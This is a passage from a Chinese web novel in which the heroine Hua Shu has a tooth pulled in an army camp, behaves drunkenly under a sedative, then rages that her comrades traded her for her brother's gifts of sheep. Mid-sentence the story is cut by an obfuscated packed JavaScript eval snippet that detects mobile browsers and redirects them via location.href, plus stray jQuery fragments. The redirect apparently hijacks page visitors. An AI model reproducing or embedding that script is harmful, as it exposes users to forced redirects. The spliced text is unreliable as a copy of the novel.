减字偷声 作品
99. 找羊
对阿莫来说这实在是个微不足道的小手术,出血都不会超过半口的量,半日止血,一日消肿,三日可正常饮食。
可对华书来说这事却大过天去了。
身体发肤受之父母,每一寸骨骼、皮肤都有其存在的意义,那么大那么稳的一颗牙,纵然偶尔会疼上一疼,怎么能轻易拔下来呢?
关键是拔下来怎么可能不痛?怎么可能只流一点点血?
她打定主意绝不可能拔牙,骗阿莫今日太晚了明天再拔,就带着安荣匆匆离开。
盯着她落荒而逃的背影,雁守疆突然笑出了声:“你猜她明天会老老实实来找你吗?”
阿莫一惊思索片刻跳了起来:“我去把她逮回来!”
“回来,”雁守疆好整以暇地坐了下来,“你啊,多余操心。”
“这怎么能是多余操心呢?我这是医者父母心,否则过两日她就得疼……咦?”阿莫眼睛一亮,“她疼得受不了了自然会来找我,届时就是她求我,我要是不高兴了还不伺候呢。”
说着阿莫一顿,把雁守疆上下打量一遍:“将军,我怎么觉得你在使坏啊?”
雁守疆把玩着手里的茶具不知可否,阿莫往前一凑,问道:“将军这时辰过来,应该不是专门来看孟疏的热闹吧?”
雁守疆自然没有这么闲,这段时间烽燧上送来了上年的燧卒考评汇报。其中有不少兵士染病,手脚溃烂,需得调回调养,这是燧卒的常见病,但是今年格外严重,他想看看阿莫可还有什么法子。
·
雁守疆和阿莫商谈着,华书也回了家,磨磨蹭蹭鬼鬼祟祟生怕华景发现她受了伤。
谁料竟然被安荣背刺:
“大郎君,军医说郎君需要拔牙。”
“拔牙?”廊下刚露出一点衣角的华景三步并作两步走了过来
正猫着腰往房间里躲的华书:“……”
安荣是彻底不能要了!
她忍下怒火先把手缩进了宽大的袖子里,然后冲着不明所以的华景点了点头:“是呢,这两天我有些牙疼,武威军的军医阿莫医术不凡,我就找她看了一下,明天就去把牙拔了。”
“这……怎么这么严重?”华景手忙脚乱地走上前去,恨不得掰开华书的嘴好好瞧一瞧。
华书赶紧躲了一下:“黑灯瞎火你又不懂能看出什么。”
夜色余晖与清浅的烛火光照下,兄长眉头微蹙的脸看起来分外白皙俊朗,华书脑子里不知怎么突然就蹦出来阿莫那句:‘我就算喜欢娇娇弱弱的书生,也找你阿兄那样的小白脸啊。’
小白脸啊……
“咳!”她把华景好好打量一番,突然一阵怪笑,“要不明天阿兄和我一起去?”
拔牙这么大的事,华景自然是要跟着去的,而且还不能空着手去。
一大早,华家就派了人出门采买,细绢首饰?买!珍稀药材?买!瓜果蔬菜?买!鲜鱼肥羊?那更是买买买,使劲买!
一车接着一车的物资送进了军营,这是华书在军营里最受欢迎的一天,就是她第一天来的时候都比不上!
见华书被华景‘压着’过来拔牙,阿莫还有些失望,她还想着跟华书来一场‘先你追我逃,再你后悔我无情’的名场面呢。
这颗牙这么简单就拔了,还怪可惜的。
啧啧两声,阿莫把东西都备好,选了个光照充足的位置摆好榻,然后把药丸递给了华书。
一杯烈酒和着苦甜苦甜的药丸下肚,华书一阵干呕,不过片刻红了脸。
她睁着一双迷蒙得格外清亮的眼,嘿嘿一笑,抓过阿莫的手往华景跟前一凑:“阿莫,你瞧瞧我阿兄好不好看?你摸摸他的脸也可滑了……”
惊天之语连路过的雁守疆都呆住了。
“阿书!”华景咬牙切齿,“你一口倒啊?一口倒也不要乱说话!”
把华书往矮榻上一摁,华景红着脸几乎同手同脚的退了出去,与雁守疆一起站在窗外,再不敢呆在这屋子里。
倒不单纯是华书酒量差,也有阿莫这山茄花药丸的作用,整个人如同酒醉一样晕晕乎乎的任由摆布。
阿莫莫名其妙被‘调戏’了一把,很想一弹指敲开她脑袋看看里面塞了些什么没用的东西,可惜人家兄长还在外头瞧着,她摸了摸口袋里的人参,决定忍了。
华书迷蒙半醉倒是格外听话,让躺下就躺下,让张嘴就张嘴,让咬着药布就咬着药布,看得窗外两人都暗道稀奇。
半个时辰过去,这颗已经被糟蹋得不像样子的牙齿终于掉了下来,阿莫伸了个懒腰,把东西归拢起来就往外走,不过走了没两步就身形一顿。
她顺着衣角上白嫩的手向后看去,是华书咬着药布呆萌可爱又无辜的脸。
这美貌冲击稍稍有一些大。
她咳了一声拂开华书的手:“你老实呆着。”
然而华书哪里肯听,见阿莫要走,歪歪扭扭紧跟两步追了上去,再度扯住衣角,像一只乖巧的小狗。
阿莫一脸烦躁地把她手扯开,然后冲着华景和安荣交代接下来几天的护理要求。
被华景缠着反复问了好几遍,阿莫才终于回过头去看那不太正常的病号——
她正一遍一遍不厌其烦地去抓雁守疆的衣角,雁守疆也不生气,逗小狗一样左挡右推,就是不让她抓着,一直达不到目的的华书成了一只炸毛小狗,撅着嘴换个方向继续抓,甚至看似抓左边实际往右边,假动作都出来了……
华景赶紧上前两步把人护在怀里:“雁将军,真是不好意思,她现在脑子不清楚,别跟她计较。”
说完一遍低声训斥一边带着人拐去了华书的营帐。
“噗哧。”雁守疆忍不住笑了出来,阿莫却觉得自己真是见了鬼!
·
半日后,终于过了药性的华书一个鲤鱼打挺从榻上翻了起来:“什么时辰了?”
“未时了……”
“怎么不叫我!”
华书惊叫一声匆匆穿上甲胄往训练场跑去,把正给她准备擦脸帕子的安荣推得一个趔趄,自然也没听到安荣后面的半句话。
这可早过了她告假的时间,她这小小兵将哪里有迟到的资格?
气喘吁吁,华书一过去就赶紧拿武器:“军侯,阿莫姑娘那药后劲太大了,我刚醒过来……”
“唉?”说到这里她才想起来自己牙恐怕已经拔了,她小心翼翼地抬手捂住有些肿胀的脸颊,舌头不由自主地探到那个往日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301264|165636||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
里不时便疼痛的位置上,惊恐地瞪大了双眼。
空的!只剩一个软乎乎的……洞?
惊恐之间安荣终于追了上来:“郎君你跑这么快干嘛?大郎君已经给你告假了……”又见她的动作,赶紧阻止,“这几天伤口不能用舌头舔,也不可以吐口水,否则会流血的。”
“嘤,”华书嘴巴都不敢张了,含糊不清的吐出一句,“好大一个洞啊……”
安荣赶紧安抚:“不妨事不妨事,过段时间就长好了,咱们去找阿莫姑娘看一眼,没问题了就先回家吧。”
季尉跟在旁边,也跟着点头:“对对对,你兄长已经替你告过假了,回去休息吧。”
华书也有点害怕了,尤其是现在摸着脸肿得猪头一样,便点了点头:“那我明日再来。”
季尉摆摆手:“明日也不用来。”
“?”华书看了季尉一眼,又看向安荣,“告了几天假?”
“十天。”
“十天?!”华书怒了,“我伤口在嘴里这么点小伤你们准许我休息十天?”
“呃……”
季尉有些不好意思了,这么点小伤叫他来说半天的假都不会给,缺颗牙是妨碍你御马还是射箭?
哦,就算华书手掌有点小擦伤,也顶多是不便射箭,扎扎马步打打拳也是可以的啊,休息?军营里就没有这两个词。
但是谁让人家华景财大气粗呢……
除了拔牙前带来的东西,又补了好几车的物资,这点面子还是要给的。
他们挠了挠头什么都没说,可华书全都明白了:“又给你们送羊了是吧?”
“你兄长那也是心疼你……”
“你可闭嘴吧!你堂堂一军军侯,罔顾军规中饱私囊……”
华书越说越气愤,手中长枪一摔,怒吼起来:
“你们!一个两个根本就不在乎我!你们只在乎我兄长送的羊!”
“我算什么?一个行走的物资车?你们就把自己的袍泽拿去换羊?”
她越说越气。她以为,自从她展露才能,他们待她便与其他袍泽没什么不同,可原来不过是她自己的妄念,他们从来没有真的接纳她,随随便便一点小恩小惠就能放弃她。
“唉……”季尉个大老粗哪里知道她这番细腻的心思,还在那里狡辩,“你这人,这话说的,羊怎么了?羊是好东西啊,那羊你也没少吃不是……”
这话一出,更是把华书气地倒吸一口气,正欲破口大骂,身后响起了叫她的声音。
“孟郎君,军营门口有人找你。”
“谁啊!”
“呃,”来人被她吼得一懵,但是想到来人又忍不住捂嘴笑了起来,“是渭源乡的百姓,说是羊丢了来找孟郎君……帮忙找羊……”
众人:“……”
华书怀疑自己听错了:“找什么?”
“咳,找羊。”
“噗哧——”
身边笑声不断响起,华书先时的剑拔弩张一下子蔫了下去,又气又无语:“找羊?找羊他们带着人去找啊,找我干什么?就缺我这么一个人手吗?!”
来人用力忍着笑:“他们说,你说过,但又难处,皆可来寻。现在就是有难处了吧。”
华书:“……”